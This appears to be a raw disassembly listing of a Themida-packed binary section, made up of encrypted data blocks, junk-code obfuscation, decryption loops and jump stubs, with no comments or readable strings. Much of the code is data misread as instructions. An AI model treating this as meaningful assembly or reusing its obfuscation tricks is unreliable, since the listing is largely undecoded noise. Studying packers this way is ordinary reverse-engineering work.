		dd 0B985C758h, 7E422h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0BC42C351h
		dd 0EE814104h, 38503BE2h, 0AEDB5FFh, 8F0F07E4h,	0Ch, 68E0Fh
		dd 950B0000h, 7E401A1h,	306195FFh, 12E907E4h, 9B000000h
		dd 7FC9000Dh, 493F8582h, 0AD9F86B3h, 0D57D95BAh, 0FF006A8Fh
		dd 0E40E4195h
; ---------------------------------------------------------------------------


loc_5F5BE8:				; DATA XREF: Themida_:00582EA4o
		pop	es
		mov	eax, eax	; CODE XREF: Themida_:005F5C65j
		jmp	short loc_5F5C57
; ---------------------------------------------------------------------------
		db 0BBh, 0F0h, 0D2h
		dd 0E442BD41h, 5F4C6E54h, 0E3BBAFBAh, 9116E14Fh, 9C34B698h
		dd 60D1922h, 0D0336993h, 0F38CF1AFh, 0FDD6EFD0h, 9F2B33EAh
		dd 0C394DE38h, 218D0BE5h, 0F06C85B1h, 0C466FBBDh, 8F95DC24h
		dd 5EFD2218h, 0D5EB24B1h, 761FE0EDh, 0FA96CACAh, 0D35825B8h
		dd 48C14493h, 0DD286A69h, 0A40D772Fh, 74AD8936h, 5D6A0C24h
; ---------------------------------------------------------------------------
		cwde
		mov	dl, 0E5h


loc_5F5C57:				; CODE XREF: Themida_:005F5BEBj
		call	near ptr loc_5F5C6F+1
		xchg	eax, esp
		loop	near ptr loc_5F5CB2+4
		cmc
		sub	eax, 61939EF6h
		loopne	near ptr loc_5F5BE9+1
		clc
		setz	byte ptr [edx+316DAFFCh]


loc_5F5C6F:				; CODE XREF: Themida_:loc_5F5C57p
		test	al, 0BBh
		imul	edi, ds:895E03C7h, 0E41C45BDh
		pop	es
		add	esi, 673Fh
		push	edi
		jmp	loc_5F5C97
; ---------------------------------------------------------------------------
		dd 1553219Fh, 5A83BA4Bh, 6137C2E0h
		db 5Ch,	36h, 0D1h
; ---------------------------------------------------------------------------


loc_5F5C97:				; CODE XREF: Themida_:005F5C83j
		pop	ecx
		push	0
		mov	[ebp+7E42785h],	esi
		pop	eax
		mov	edx, 542A2DEBh


loc_5F5CA9:				; CODE XREF: Themida_:005F5D13j
		mov	edi, [esi+eax]
		mov	[ebp+7E42375h],	edx


loc_5F5CB2:				; CODE XREF: Themida_:005F5C5Dj
		sub	edi, 49CB1219h
		pusha
		mov	esi, 444E959Ah
		pusha
		jmp	loc_5F5CCA
; ---------------------------------------------------------------------------
		dd 675004EDh
		db 0EAh, 0B5h
; ---------------------------------------------------------------------------


loc_5F5CCA:				; CODE XREF: Themida_:005F5CBFj
		mov	[ebp+7E4167Dh],	ebx
		popa
		popa
		sub	edi, 4161CD29h
		add	[ebp+7E407ADh],	eax
		xor	edi, 2C0B0511h
		movsx	edx, cx
		mov	[esi+eax], edi
		mov	bh, 0BDh
		sub	[ebp+7E42C05h],	ecx
		sub	eax, 4
		jmp	loc_5F5D0D
; ---------------------------------------------------------------------------
		dw 6611h
		dd 4D84A682h, 0CBECDCh,	757DF527h, 0F925FBEAh
; ---------------------------------------------------------------------------
		movsd


loc_5F5D0D:				; CODE XREF: Themida_:005F5CF5j
		cmp	eax, 0FFFF997Ch
		jnz	loc_5F5CA9
		mov	bh, 25h
		lea	ecx, [ebp+7EB395Ah]
		mov	bx, si
		mov	[ebp+7E41B71h],	ecx
		push	0
		push	ecx
		call	sub_5F5D35
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F5D35	proc near		; CODE XREF: Themida_:005F5D2Dp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5F5D35	endp

; ---------------------------------------------------------------------------
		cdq
		xchg	esp, [ecx]
		sub	esp, [ebp+2CD23DDBh]
		sub	[ebp+7E40DB9h],	esi
		jb	loc_5F5D60
		mov	[ebp+7E41DD9h],	eax


loc_5F5D60:				; CODE XREF: Themida_:005F5D54j
		mov	[ebp+7E41429h],	eax
		mov	dword ptr [ebp+7E42DA1h], 6778h
		jmp	loc_5F5D81
; ---------------------------------------------------------------------------
		db 0C5h, 0DBh, 9Dh
		dd 7CD353B7h, 4E26AA5Fh
		db 82h
; ---------------------------------------------------------------------------


loc_5F5D81:				; CODE XREF: Themida_:005F5D70j
		mov	dword ptr [ebp+7E422B9h], 0
		xor	edi, 370ADBC1h
		push	dword ptr [ebp+7E41D5Dh]
		add	edx, [ebp+7E40989h]
		call	sub_5F5DB2
		or	al, 13h
		cmp	[ecx+523E80C3h], eax
		and	[eax], ecx
		scasb
		xchg	eax, edi
		mov	dh, 0F9h
		sal	ch, 1

; =============== S U B	R O U T	I N E =======================================



sub_5F5DB2	proc near		; CODE XREF: Themida_:005F5D9Dp
		or	dh, 0FAh
		pop	ebx
		call	dword ptr [ebp+7E43061h]
		push	0
		push	edx
		call	sub_5F5DC7
		and	[edx-3Dh], bl
sub_5F5DB2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5F5DC7	proc near		; CODE XREF: sub_5F5DB2+Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5F5DC7	endp

; ---------------------------------------------------------------------------
		push	ecx
		imul	dl
		dec	byte ptr [edi]
		mov	bh, 0D3h
		push	0
		call	dword ptr [ebp+7E40E41h]
		mov	eax, eax
		jmp	short loc_5F5E45
; ---------------------------------------------------------------------------
		dw 7ECFh
		dd 0FFF159Fh, 23C0EDB5h, 9C85A177h, 356B829Dh, 0B3AE4CAFh
		dd 0E1C5E5FDh, 0AF8EE42Ch, 2BDFE50Fh, 44DEE88Bh, 0BA7F7122h
		dd 88535E4Fh, 98D58CF3h, 336552BAh, 910B89ACh, 1C1A4C3Bh
		dd 78534EF9h, 2357A08Dh, 0B0198F7Ch, 0FDC76D9h,	0A22C7748h
		dd 84ED3198h, 0BF33BE02h
		db 65h
; ---------------------------------------------------------------------------


loc_5F5E45:				; CODE XREF: Themida_:005F5DE8j
		call	near ptr loc_5F5E56+2
		sbb	ecx, ebx
		popa
		sub	[edx], bl


loc_5F5E4F:				; CODE XREF: Themida_:005F5EB8j
		add	[esi+ecx*2+7E9E9B18h], bl


loc_5F5E56:				; CODE XREF: Themida_:loc_5F5E45p
		fdiv	dword ptr ds:0B0A9C981h
		xor	[edi], bh
		pop	eax
		mov	edx, [ebp+7E4233Dh]
		add	eax, 6460h
		mov	[ebp+7E41CC5h],	esi
		xor	edi, edi
		pusha
		mov	[ebp+7E41C59h],	esi
		xor	ax, 2B6Dh
		popa


loc_5F5E80:				; CODE XREF: Themida_:005F5EE2j
		push	dword ptr [edi+eax]
		jmp	loc_5F5E90
; ---------------------------------------------------------------------------
		dd 67E60E7Bh, 0CF96D910h
; ---------------------------------------------------------------------------


loc_5F5E90:				; CODE XREF: Themida_:005F5E83j
		pop	ebx
		mov	[ebp+7E43049h],	esi
		sub	ebx, 405773E1h
		mov	edx, ebx
		xor	ebx, 48268EB2h
		mov	ecx, [ebp+7E41B69h]
		add	ebx, 360F9B94h
		jmp	loc_5F5EBB
; ---------------------------------------------------------------------------
		dw 6459h
; ---------------------------------------------------------------------------
		jmp	short loc_5F5E4F
; ---------------------------------------------------------------------------
		db 0C4h
; ---------------------------------------------------------------------------


loc_5F5EBB:				; CODE XREF: Themida_:005F5EB1j
		push	ebx
		jge	loc_5F5EC5
		mov	cx, bx


loc_5F5EC5:				; CODE XREF: Themida_:005F5EBCj
		pop	dword ptr [eax+edi]
		or	[ebp+7E429C1h],	esi
		mov	ecx, 227264ABh
		sub	edi, 4
		sub	edx, [ebp+7E42D9Dh]
		cmp	edi, 0FFFF9C3Ch
		jnz	loc_5F5E80
		mov	dl, ch
		jmp	loc_5F5FD7
; ---------------------------------------------------------------------------
		pop	ebp
		xor	eax, 9CD74848h
		inc	ebp
		retf	0C8C3h
; ---------------------------------------------------------------------------
		db 0E1h, 0B6h, 0DAh
		dd 95A7ACABh, 0F44592B3h, 0B395A1h, 0A7ECABDAh,	0B2915D20h
		dd 96B1F46Bh, 55207520h, 0F26BB79Bh, 9692A5BCh,	3A7594A1h
		dd 9FB79960h, 0B599BD32h, 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h
		dd 0F94E0097h, 9FA5B4h,	0F07B6B5Ch, 8A924Ah, 45F352D0h
		dd 0A3F653F5h, 44D6D979h, 45E3AFF1h, 0D77D41F4h, 9792B000h
		dd 0FD756BBFh, 96BFCF60h, 0B293BCF9h, 57207D20h, 92ABF79Bh
		dd 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h
		dd 0BCE1B6F6h, 0B3ED7293h, 0B6D00097h, 0A8CD43F1h, 0F0h
		dd 74470000h, 0E0E3129Dh, 5E99h, 0Bh dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5F5FD7:				; CODE XREF: Themida_:005F5EEAj
		jmp	loc_5F759C
; ---------------------------------------------------------------------------
		push	7EB3D4Ah
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EB3E44h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EB3F2Ah
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EB4056h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EB40E8h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EB4198h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EB4248h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EB42FCh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EB43A2h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EB450Eh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EB462Fh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EB4779h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EB485Ah
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EB49B1h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EB4B1Eh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EB4D72h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EB4E78h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	ecx
		jns	short loc_5F60E0
		retn
; ---------------------------------------------------------------------------
		dw 0D4ADh
		dd 2E0A20B4h, 8B6A8014h, 0F2CDE377h, 836942D6h,	3FD3EFCAh
		dd 9D314F29h, 0FF93A987h, 60F40CE9h, 0FB80FDADh, 5713A99Bh
		dd 79568312h, 7E5B2961h, 0DCB3D266h, 0BE482D2h,	8C18B3EBh
		dd 0A78597AFh, 0A6B3A02Ah, 4D85EE13h, 0A6B4DFA0h, 2B5B6C13h
		dd 78098C73h
; ---------------------------------------------------------------------------


loc_5F60E0:				; CODE XREF: Themida_:005F6087j
		fmul	dword ptr [ecx+59h]
; ---------------------------------------------------------------------------
		db 0
		dd 0CB690000h, 39ED6EEh, 30921CF1h, 42A0CCB3h, 0AD2A8A14h
		dd 1442A0D6h, 0B0C21B84h, 5CAC028Dh, 0A6A929DFh, 467EE713h
		dd 0A6A9E699h, 6573113h, 80B81129h, 84BCD6B2h, 0CF4EF6CDh
		dd 267ED7F5h, 0D22D5115h, 0C4D87808h, 1F314926h, 0E080h
		dd 4F2EA000h, 8820A4B3h, 92815668h, 0A0CCB330h,	218A1442h
		dd 18F50Fh, 31FFAC8h, 0D520FDCBh, 7C55E1F7h, 0FDCB035Ch
		dd 7F740820h, 1442A416h, 55EACB3Dh, 8D549B79h, 0D30B2501h
		dd 2F0C2638h, 0BA98317h, 45E0182Ch, 0B3C5DBB9h,	6CA4BC99h
		dd 64B4FA95h, 0A6326DE7h, 7ACA3313h, 3AE49B18h,	97213A6h
		dd 0D9B6D5F7h, 4C6240DEh, 690E7914h, 0E513A63Ah, 3A730885h
		dd 76DF13A6h, 0F774C41Dh, 1440D3F4h, 630151BAh,	0FED86C88h
		dd 326A8460h, 906B8597h, 0FC592074h, 0D2126235h, 12FE4Ch
		dd 0A6C8A000h, 323FC12h, 637D596Fh, 0C6DAB9CFh,	25411C32h
		dd 1932B891h, 788E223Eh, 0D6EC809Eh, 384EE2F8h,	0FCAF435Bh
		dd 9D28CF4Ch, 61A613A9h, 5F7B56D2h, 0B9D8B5CBh,	24635BF8h
		dd 0FD91EA29h, 39424D2Ch, 0DCB9455Bh, 98F18CC4h, 0A905CB48h
		dd 6AD313A6h, 0A9FA8532h, 405113A6h, 76F35504h,	13A6A981h
		dd 7C58E44Dh, 8A755062h, 0CD87808h, 3B360E9Ah, 0DFF1487Bh
		dd 0BE40h, 0F4926900h, 0F58A0718h, 611442A0h, 99679FF8h
		dd 0D36EA6BAh, 714E687Ah, 78532159h, 0FA324E29h, 0DEF6D35Fh
		dd 49BB4D85h, 0B2B8652Dh, 1710221Eh, 1442FE8Eh,	10A4BC99h
		dd 0BEFE1DFAh, 451BB333h, 0BF332181h, 69398D6Eh, 8E01D810h
		dd 5832D020h, 0CD4A283Ah, 13A6324Bh, 0FD1CB019h, 2ECC1C92h
		dd 45233555h, 40DCE8C8h, 0C1117A14h, 982C4823h,	378BA782h
		dd 6236004Ch, 46DF333h,	9A000012h, 0F60CA0C2h, 5369FD1Dh
		dd 0B3C95D77h, 162CC0D4h, 0B28B1F3Bh, 1C38134Ch, 7A987288h
		dd 0DCF2D0E6h, 3D553248h, 0C946F6A9h, 13A99E32h, 56CC5BA0h
		dd 0F1CB5F7Bh, 265E7653h, 825F798Bh, 5605D66Ah,	97296179h
		dd 0F0021EF9h, 0CFAEF9D6h, 8FE883BBh, 0EF09E5FBh, 0E22019Fh
		dd 8B6836FCh, 77B8DF73h, 0DD9EF1h, 0BC15B0E8h, 916C0A6Ch
		dd 8C17B76Eh, 0A63C44Bh, 0E951FFF8h, 96FF13A6h,	26FF9D8Dh
		dd 1FBF406h, 8BE42C00h,	0F85AAA04h, 2C62847Bh, 89E952EBh
		dd 6715C80Ah, 0A17F9141h, 0C8F7D224h, 0DF1780ECh, 724DEB4Dh
		dd 18831E56h, 1310C763h, 517486EFh, 0A320703Eh,	14F7777Fh
		dd 0D7F5AC1Eh, 3DB1B846h, 47A7D22Dh, 6DFD284h, 9C7B8DE6h
		dd 6845E333h, 0C9A6BC50h, 0D1305DB1h, 236362C6h, 111E9Dh
		dd 86A88000h, 0E303DCF2h, 435D394Fh, 0A6BA99AFh, 521FC12h
		dd 0F9529871h, 586E021Eh, 0B6CC607Eh, 182EC2D8h, 0DC8F233Bh
		dd 9FC8AF2Ch, 418613A9h, 0B33092B2h, 1442A0CCh,	0F50F218Ah
		dd 0F1C80018h, 9FD0099Eh, 0F9B543DBh, 1DD350A0h, 0DC13A6EFh
		dd 2F06FD7Ah, 6BD413A6h, 0C1117A59h, 0F42C4823h, 6254759h
		dd 58D52589h, 14420A52h, 8DA78321h, 0C9A8BA55h,	807B2860h
		dd 471B8A15h, 0B14E0E36h, 26D0935Ch, 32h, 0E432D446h, 25767FD3h
		dd 424D3E13h, 3B9F1C6Ch, 5913A6EFh, 2402A0F0h, 0F8857A0Eh
		dd 1F13A6F0h, 80962A42h, 9E3C8CA2h, 0D298AAC0h,	10664Ch
		dd 0F492DB00h, 0C017FA15h, 0A98DA104h, 0CEE8C450h, 0B8F699BCh
		dd 0E703EB68h, 35D113A9h, 69043C5Ch, 4522C010h,	0F2D01FFAh
		dd 962A83DCh, 538BA380h, 4B9B137Ch, 422D45CEh, 50A00914h
		dd 41748CDEh, 617358F1h, 0F008E583h, 92902A0h, 0E2BFD5F7h
		dd 0D4BB92CAh, 8A288ADAh, 8C5A92B0h, 0C66199ADh, 44625B6Dh
		dd 121C70C4h, 0F54255A9h, 25655A46h, 0FF29Fh, 0B2D4AC00h
		dd 0F2F081Eh, 6F89657Bh, 0D2E6C5DBh, 314D283Eh,	253EC49Dh
		dd 849A2E4Ah, 0E2F88CAAh, 445AEE04h, 8BB4F67h, 0E024DB58h
		dd 6DB213A9h, 0A08477DEh, 89061442h, 0C663D525h, 7A9F8597h
		dd 48809A76h, 644254ADh, 0A98664E7h, 71C12A13h,	7898710Fh
		dd 7F937240h, 4153AC47h, 9E324A27h, 5B93AB88h, 0F09C0B84h
		dd 137221B4h, 6D0B5BB4h, 0CE7B6F92h, 0E5254152h, 0A7B9548Ch
		dd 0C6864CC9h, 0B854144Dh, 1367C0DEh, 62320A8Eh, 6067ED2Dh
		dd 3E00000Fh, 9AB04466h, 0F70DA1C1h, 576D011Bh,	0BAD06478h
		dd 562FC3DFh, 0C0DCB790h, 1E3C162Ch, 8096748Ah,	0E1F9D6ECh
		dd 6DEA9A4Dh, 13A9E096h, 9270FF44h, 0A0CCB330h,	218A1442h
		dd 18F50Fh, 94783EB0h, 9562FEDh, 7486A27Dh, 0EB03E0AEh
		dd 0F2B26FB3h, 5B2F35CAh, 91CA2E0h, 4DCB0000h, 435D3942h
		dd 1F1D9AEAh, 6E13A99Ah, 0A4DCF2D0h, 0AF18F709h, 0CCE4C15Fh
		dd 6E6F0A7Ch, 4C1D547Ch, 0A03E183Ah, 0D772AAC4h, 83CEABC5h
		dd 0BC578FA5h, 0FD7E2B63h, 0D13A9F0h, 31DF982h,	87D730CBh
		dd 4DDC440Ah, 55A91214h, 62320456h, 0B0B33979h,	0EE00000Eh
		dd 4A60F416h, 0A7BD5171h, 71DB1CBh, 6A801428h, 6DF738Fh
		dd 708C67E0h, 0CEECC6DCh, 3046243Ah, 91A9869Ch,	1D9A4AFDh
		dd 13A9E166h, 5620AFF4h, 5B296179h, 0DF26F7Eh, 0C91442A0h
		dd 8BCF0760h, 19E696CEh, 0BEE05C1Dh, 87Ah, 0A08477E7h
		dd 89061442h, 5A37D525h, 0D5523042h, 13A99A97h,	4AACFC65h
		dd 720986E8h, 0E013A99Ah, 9A770C77h, 7AE313A9h,	59714E68h
		dd 0BAD2AFC5h, 0D3E4AB82h, 0A99AA156h, 0B5912D13h, 6FC8639Bh
		dd 0C664C616h, 1E12CCE7h, 65501FA3h, 2739D40Ch,	4D6B782Eh
		dd 79CD3614h, 62316D3Ch, 0E167A7h, 9E00000Eh, 0FA10A4C6h
		dd 576D0121h, 0B7CD617Bh, 1A30C4D8h, 0B68F233Fh, 203C1730h
		dd 7E9C768Ch, 0E0F6D4EAh, 4159364Ch, 0CD4AFAADh, 13A9E236h
		dd 56D05FA4h, 5B296179h, 602E667Eh, 612F6787h, 43573687h
		dd 24FBB2EAh, 820FD60h,	0DADC35D0h, 0CA35691Dh,	0BE05C1Dh
		dd 7BEh, 9AAE8D2Bh, 81A300Eh, 18F49233h, 0C6C9ECFEh, 742698E8h
		dd 0AF12B999h, 17947284h, 13A9C8B6h, 650353BCh,	0C6DC7088h
		dd 0E381D1E9h, 15DBED07h, 0EF09E583h, 110A1CB7h, 13A92D6Eh
		dd 6FBFEFA0h, 48916F0Dh, 0E5F7506Eh, 4D0126ECh,	378BF414h
		dd 6231C788h, 4CA92F6Fh, 5200000Dh, 0AEC4587Ah,	0B21B5D5h
		dd 6B81152Fh, 0CEE4788Ch, 6A43D7F3h, 0D4F0CB84h, 32502A40h
		dd 94AA889Eh, 0F50DEA00h, 81FEAE61h, 13A9E2FAh,	92841358h
		dd 0EBFD19F4h, 0A4DCF4D1h, 0A9E1F9D6h, 0AEE6FEDBh, 0B5ED01E0h
		dd 5D1551D4h, 0B6E69E5Bh, 0E05C1D49h, 70D8Eh, 8177B700h
		dd 0B1442A0h, 53312384h, 79339970h, 753D020h, 0D513A9D2h
		dd 0A17E1C6Ch, 2DFF589h, 0CF7F10E3h, 0BA5E99C7h, 6F1676EFh
		dd 0A429B30h, 514B5C33h, 0BBDBB450h, 0C2FA0C5Bh, 0C69C1969h
		dd 94144D99h, 39F2D72Bh, 0D9196232h, 0CA653h, 0FE20F800h
		dd 5B7B546Ah, 0BBD5B1C7h, 1E321127h, 7D99748Ah,	71EA10E9h
		dd 0D0E67A96h, 2E44D8F6h, 90A63A50h, 54079BB3h,	0E35027A4h
		dd 0B9FE13A9h, 0AE20922Ah, 4C22E7E0h, 8DC5E3BDh, 0CC4999F2h
		dd 1442DC37h, 0E283AA3h, 13E11931h, 0F50FEB36h,	1C26649Ch
		dd 788AA07Eh, 0D7B4ABDBh, 0AB542BBFh, 2CE05B95h, 183h
		dd 0BBCFAE4Ch, 7956D4A9h, 7E5B2961h, 9E781666h,	9BAD4880h
		dd 79355A79h, 0B322AC29h, 77013A6h, 69DB3DCFh, 0CA09163Eh
		dd 8A71DC93h, 4813A620h, 2BD4CDDFh, 0A013A620h,	58A7D78Fh
		dd 3ED8779Dh, 5AAAC4A0h, 0A62826DDh, 394BB413h,	579Ah
		dd 424DC300h, 0D455B39h, 0DEA52272h, 7C1442A0h,	0ED6ABA13h
		dd 13A6A927h, 637D59F5h, 0FF37902Bh, 0A6A9A952h, 0F50DEA13h
		dd 0F715EFBDh, 0CBB02DBFh, 8713A6A9h, 92D2A91Eh, 317586DEh
		dd 7808728Dh, 0D163D8h,	21830000h, 0F3989CAFh, 349F85B9h
		dd 13A69C4Fh, 0BB90A20Bh, 29617956h, 2C64805Bh,	91DFC9Ah
		dd 0CFAA36D1h, 0AA87A1B3h, 0AF8C5A92h, 0BD6EA490h, 80D92D5Fh
		dd 0F6FEF7ECh, 0AC891442h, 0AEE10094h, 0B04EB000h, 4F2CB8D6h
		dd 5264FF37h, 0A4EEFB59h, 0D0208913h, 0EB3B5732h, 30770C89h
		dd 7AE313A5h, 55304668h, 0EFEEE539h, 0F1316A19h, 0B3A6Bh
		dd 6A8C6400h, 0C7E7C0D6h, 27411D33h, 8A9E7D93h,	0E905E0F6h
		dd 0DD767C55h, 3C52E602h, 9AB04462h, 0FC12A6BCh, 0C073071Fh
		dd 0E5EC9310h, 256A13A9h, 5F7B5696h, 4B30AD0Fh,	0CC1442A0h
		dd 49FD7EFh, 21D653B3h,	0AD1442A0h, 0B7D9EB44h,	38B5C4A1h
		dd 1442A043h, 7B99730Fh, 0F64FA843h, 152908A6h,	5610E103h
		dd 5B296179h, 0F8D2667Eh, 2E667C5Ah, 0AADD3393h, 0D2005A3Ch
		dd 4D4EEC0h, 927D0000h,	8A0718F4h, 1442A0F5h, 679FF861h
		dd 0F897BACCh, 660466B6h, 665F7189h, 13A6AB90h,	3185CD3Fh
		dd 8A415A18h, 0F8309978h, 0F0870466h, 5E13A6E2h, 96CEE4C2h
		dd 9790A2FBh, 13A6E2E4h, 6A125263h, 0D877CF95h,	1F142h
		dd 83776B00h, 0D1442A0h, 5FDC2C82h, 13A99A29h, 902E7EE7h
		dd 0F1079BB3h, 0F3880514h, 5F13A99Bh, 0D3659DF6h, 2C3E5A35h
		dd 0D8288609h, 0EAFDD876h, 0A99B966Dh, 82DB4413h, 95A17770h
		dd 0FF6F144Dh, 0A966806Fh, 9DFF6E07h, 6833C0D4h, 7B62B60Fh
		dd 0B8623239h, 0A19F278h, 0AD850000h, 8E1F78Bh,	623E54E8h
		dd 0BF9EB448h, 260117ABh, 579D760Ah, 730723FEh,	0D165835Dh
		dd 33C7DDBBh, 9428401Dh, 0CFB431E1h, 8B13A9E6h,	0F492B746h
		dd 2EC90115h, 0D25021Ch, 0DF2A07D5h, 5A92EB01h,	33B0121Ch
		dd 1442A04Ch, 0F28FA10Ah, 0D6EECBB2h, 0F20CE886h, 7B0E5E92h
		dd 7A8C2C96h, 577E8158h, 2F57E05Bh, 80000001h, 0ED6A7956h
		dd 1442A016h, 0CA025BC4h, 73071FFCh, 51FFB99h, 0EFBFD0F3h
		dd 0B3A8229Fh, 4AE613A6h, 2F47246Bh, 0F4D09ED6h, 0AE07A2DAh
		dd 8F701D55h, 813A6B4h,	0E600DC2Fh, 82BA13AEh, 85BDD9B4h
		dd 8BC77F46h, 3A622233h, 0D87809C5h, 2C12h, 424D3B00h
		dd 0E99F1C6Ch, 0A813A6A9h, 0E2AC7D36h, 1AA6D8E2h, 3413253Dh
		dd 15E693CBh, 0B213A669h, 46B9E5A1h, 8FD87748h,	9Dh, 617956B8h
		dd 64805B29h, 62815E2Ch, 0B2D24A15h, 0C5FD5634h, 6E021AF7h
		dd 42C98C79h, 0F33E1B14h, 27C2FA1Ah, 741B3ACEh,	87112833h
		dd 3D96A288h, 2DD270EDh, 2FA113A4h, 4278B921h, 41203222h
		dd 79B1C7A5h, 973585DEh, 320CA0BCh, 8D9FB794h, 70499873h
		dd 247D1850h, 1A3517D0h, 6AF0306Ah, 8CFh, 41D5F7CFh, 9E32522Bh
		dd 0FE92AC88h, 61F509E8h, 0C054704Bh, 6D4801E7h, 0CDA7BD51h
		dd 27051BAFh, 8A677D11h, 7B2BDE72h, 0A9E779FEh,	190D513h
		dd 0CB5F7B56h, 2CC0D8B5h, 6179565Bh, 5F7E5B29h,	7FCCCB15h
		dd 2ABE17FAh, 2995Ch, 424DEB00h, 3DBA1C6Ch, 1442A046h
		dd 819D7814h, 4355AE49h, 8A650365h, 0F9B366Eh, 10091B31h
		dd 13A99B60h, 105B82F2h, 59F7A958h, 601BC800h, 0E713A9D4h
		dd 11EEAED6h, 0C6D8709Dh, 229h,	700784E6h, 0DE13A9D8h
		dd 778E6375h, 1442A083h, 0DC2C820Dh, 0A99B9B5Fh, 80D03913h
		dd 9DED05E2h, 5C280D2Bh, 0EE00E148h, 1390F2CCh,	13A92C6Ch
		dd 556F81EAh, 51286078h, 8C95693Eh, 869CC660h, 0BA60DD2Dh
		dd 58144DFBh, 1D569BEFh, 0C5056232h, 7EE3Fh, 0B6D8B000h
		dd 13330C22h, 738D697Fh, 0D6EAC9DFh, 35512C42h,	2922C8A1h
		dd 889E324Eh, 0E6FC90AEh, 485EF208h, 0CBF536Bh,	0E818DF5Ch
		dd 71B613A9h, 16F492E2h, 0F7D4EE00h, 0FCD9A7DFh, 0FFDEACE4h
		dd 8E5B3EBh, 0A0877CF9h, 0EA531442h, 521B5991h,	99625E12h
		dd 7D9572EDh, 11ED12E9h, 72EAE05Ch, 0A000001h, 66788E6Ch
		dd 6A795691h, 0A0F48B08h, 0F9621442h, 42A0E98Eh, 0A3FC6514h
		dd 0A8C09D6Bh, 0C4DEBA58h, 0BDDFF18Ch, 0AC8AF19Eh, 6AC35E96h
		dd 0B3139D1Ah, 0F86113A6h, 0B46813C0h, 0CEDF13A6h, 919E696h
		dd 41BED878h, 0E7000000h, 5C39424Dh, 1E9BEB44h,	13A6A968h
		dd 0E831B626h, 0D590A996h, 0E497447Ch, 6313A658h, 0C9671252h
		dd 0AAC6A1ECh, 2E7E1951h, 0A658CAB1h, 0D1F8813h, 7719CD32h
		dd 0CD0AD8h, 8C2A0000h,	0B28799ADh, 29617956h, 6B5D805Bh
		dd 2F281EAEh, 5D30B64h,	0E503DD28h, 69B912ADh, 9BD3F1CBh
		dd 7ED7F1CDh, 0FBD8A66Ch, 3C738BDCh, 0AFC0234Fh, 24CF2FFCh
		dd 5C36C209h, 3395E53Eh, 42A5C1B6h, 98248D14h, 6B8D9FBFh
		dd 42DF9F76h, 334B2814h, 9F0F809Fh, 3874D24Fh, 990213A4h
		dd 0B4D0AB49h, 132F0A20h, 1A1A3CBFh, 6DF3336Ah,	697h, 790D2F07h
		dd 0D66A8A63h, 36CAE4C0h, 992D4120h, 0F88CA883h, 0A580D91Fh
		dd 5DFF589h, 5F3D53E7h,	0C29FB549h, 0B36316AAh,	0A9E94136h
		dd 39C80D13h, 0CB5F7B56h, 0E2B9D8B5h, 95954DFDh, 0F1CCA828h
		dd 7CD552F3h, 0F471D323h, 1442C30Fh, 2E5062CBh,	8E75F254h
		dd 4C1442C3h, 56FCD1E3h, 0AF116179h, 42A04D32h,	8EA00914h
		dd 51DFAC8h, 0B8359771h, 1442A0C3h, 4214268Fh, 32h, 617956D1h
		dd 1CF99729h, 0FBD8F204h, 0CA47ABE3h, 0A7C6A39Ah, 920F91B8h
		dd 1442ADEDh, 0F5A00069h, 3AC13E5Fh, 98144255h,	0E97DD62Fh
		dd 421Bh, 7956AA00h, 0DD36542Eh, 997513A5h, 0A0740B88h
		dd 79E21442h, 0C14DE820h, 0FB96CEE2h, 0A00EF0E9h, 0B0891442h
		dd 0AD8A5890h, 0B08F5D95h, 1450279Ch, 0BFE7105Ch, 7BCBE3C0h
		dd 0A0E79C19h, 0A731442h, 5605D6F8h, 52296179h,	8321713Dh
		dd 671C99A4h, 0F31442A0h, 0C7A5318Ah, 0CCDE79B1h, 9B9D71EEh
		dd 0EE5713A9h, 0C22009Eh, 0A17E1CFAh, 9B6E1592h, 83EC13A9h
		dd 0A380962Ah, 137C538Bh, 45CE4B9Bh, 0A1442A1h,	41798D6Ch
		dd 4CB594A6h, 69815EFCh, 3D19B719h, 0D5C3B823h,	268F1B94h
		dd 0FFDCF214h, 0B7D8AFE7h, 72CBEBC4h, 8EA88422h, 83219E7Ch
		dd 0D11C70C2h, 0F3F11468h, 52925A46h, 52ACCh, 7A9C7400h
		dd 0D7F7D0E6h, 37512D43h, 9AAE8DA3h, 0F915F006h, 0ED668C65h
		dd 4C62F612h, 0AAC05472h, 0C22B6CCh, 0D083172Fh, 0EBDCA320h
		dd 357A13A9h, 617956A6h, 7A55F3CDh, 9567EE57h, 0A4FD67D3h
		dd 6B45D16Ch, 687A154Dh, 4C26714Eh, 0CF9DD52Eh,	0EC8ADAF2h
		dd 2FC1F90Dh, 4209CDB2h, 0C7208914h, 0E8B1EFB5h, 0CCE4C1BCh
		dd 689E6138h, 86F8E05Bh, 0BACE60C9h, 0A5445690h, 62h, 39424DCEh
